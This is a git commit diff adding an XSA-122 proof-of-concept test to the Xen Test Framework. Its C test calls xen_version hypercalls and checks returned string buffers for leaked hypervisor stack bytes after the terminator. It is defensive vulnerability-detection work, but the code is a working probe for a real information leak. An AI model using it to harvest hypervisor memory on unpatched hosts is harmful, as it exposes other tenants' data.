]> xenbits.xensource.com Git - people/royger/xen-test-framework.git/commitdiff
XSA-122 Proof of Concept test
authorAndrew Cooper <andrew.cooper3@citrix.com>
Fri, 15 Jan 2016 15:40:32 +0000 (15:40 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Thu, 24 Mar 2016 16:44:51 +0000 (16:44 +0000)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
docs/all-tests.dox
tests/xsa-122/Makefile [new file with mode: 0644]
tests/xsa-122/main.c [new file with mode: 0644]

index d3e02b3615e11823d9800303f2b80e18f90008c8..891d164ca2e3891bdd78be2d7aa3adea706c0ad5 100644 (file)
@@ -22,6 +22,8 @@ Coveres XSA-106 and XSA-156.
 
 @section index-xsa XSA Proof-of-Concept tests
 
+@subpage test-xsa-122 - Hypervisor stack leak via xen_version() hypercall.
+
 @subpage test-xsa-167 - PV superpage sanity checks.
 
 
diff --git a/tests/xsa-122/Makefile b/tests/xsa-122/Makefile
new file mode 100644 (file)
index 0000000..5c01863
--- /dev/null
@@ -0,0 +1,11 @@
+ROOT := $(abspath $(CURDIR)/../..)
+
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-122
+CATEGORY  := xsa
+TEST-ENVS := $(ALL_ENVIRONMENTS)
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-122/main.c b/tests/xsa-122/main.c
new file mode 100644 (file)
index 0000000..2bd7677
--- /dev/null
@@ -0,0 +1,108 @@
+/**
+ * @file tests/xsa-122/main.c
+ * @ref test-xsa-122
+ *
+ * @page test-xsa-122 XSA-122
+ *
+ * Advisory: [XSA-122](http://xenbits.xen.org/xsa/advisory-122.html)
+ *
+ * Before XSA-122, Xen would fill a fixed size stack array with a
+ * NUL-terminated string, and copy the entire array back to guest space.  This
+ * leaks hypervisor stack rubble to the guest.
+ *
+ * This PoC makes the affected hypercalls, and checks for non-zero bytes in
+ * the trailing space after the NUL terminator.
+ *
+ * The PoC is unable to distinguish between a fixed Xen, and zeroes happening
+ * to be leaked from the stack.  In particular, it can incorrectly report
+ * success if it is the first vcpu to run on a "fresh" pcpu after host reboot.
+ * For added reliability, pin the PoC to a specific pcpu and run it twice.
+ *
+ * @sa tests/xsa-122/main.c
+ */
+#include <xtf/lib.h>
+
+/*
+ * Check a buffer of a specified size for non-NUL bytes following the string
+ * NUL terminator.
+ */
+static void check_buffer(const char *ref, const char *buf, size_t buf_sz)
+{
+    unsigned i;
+    size_t str_len = strnlen(buf, buf_sz);
+
+    if ( str_len == buf_sz )
+        return xtf_warning("    %s string not NUL terminated\n", ref);
+
+    else if ( str_len == buf_sz - 1 )
+        return; /* No trailing space after data. */
+
+    for ( i = str_len + 1; buf[i] == '\0' && i < buf_sz; ++i )
+        ; /* No action. */
+
+    if ( i != buf_sz )
+        xtf_failure("    '%s' has leaked stack at index %u\n", ref, i);
+}
+
+void test_main(void)
+{
+    long rc;
+
+    printk("XSA-122 PoC\n");
+
+    printk("XENVER_extraversion:\n");
+    {
+        xen_extraversion_t extra = {};
+
+        rc = hypercall_xen_version(XENVER_extraversion, extra);
+        if ( rc < 0 )
+            return xtf_failure("XENVER_extraversion error %ld\n", rc);
+
+        printk("  Got '%s'\n", extra);
+        check_buffer("extraversion", extra, sizeof(extra));
+    }
+
+    printk("XENVER_compile_info:\n");
+    {
+        xen_compile_info_t ci = {};
+
+        rc = hypercall_xen_version(XENVER_compile_info, &ci);
+        if ( rc < 0 )
+            return xtf_failure("XENVER_compile_info error %ld\n", rc);
+
+        printk("  Got '%s'\n"
+               "      '%s'\n"
+               "      '%s'\n"
+               "      '%s'\n",
+               ci.compiler, ci.compile_by, ci.compile_domain, ci.compile_date);
+
+        check_buffer("compiler", ci.compiler, sizeof(ci.compiler));
+        check_buffer("compile_by", ci.compile_by, sizeof(ci.compile_by));
+        check_buffer("compile_domain", ci.compile_domain, sizeof(ci.compile_domain));
+        check_buffer("compile_date", ci.compile_date, sizeof(ci.compile_date));
+    }
+
+    printk("XENVER_changeset:\n");
+    {
+        xen_changeset_info_t ci = {};
+
+        rc = hypercall_xen_version(XENVER_changeset, &ci);
+        if ( rc < 0 )
+            return xtf_failure("XENVER_changeset error %ld\n", rc);
+
+        printk("  Got '%s'\n", ci);
+        check_buffer("changeset_info", ci, sizeof(ci));
+    }
+
+    xtf_success(NULL);
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */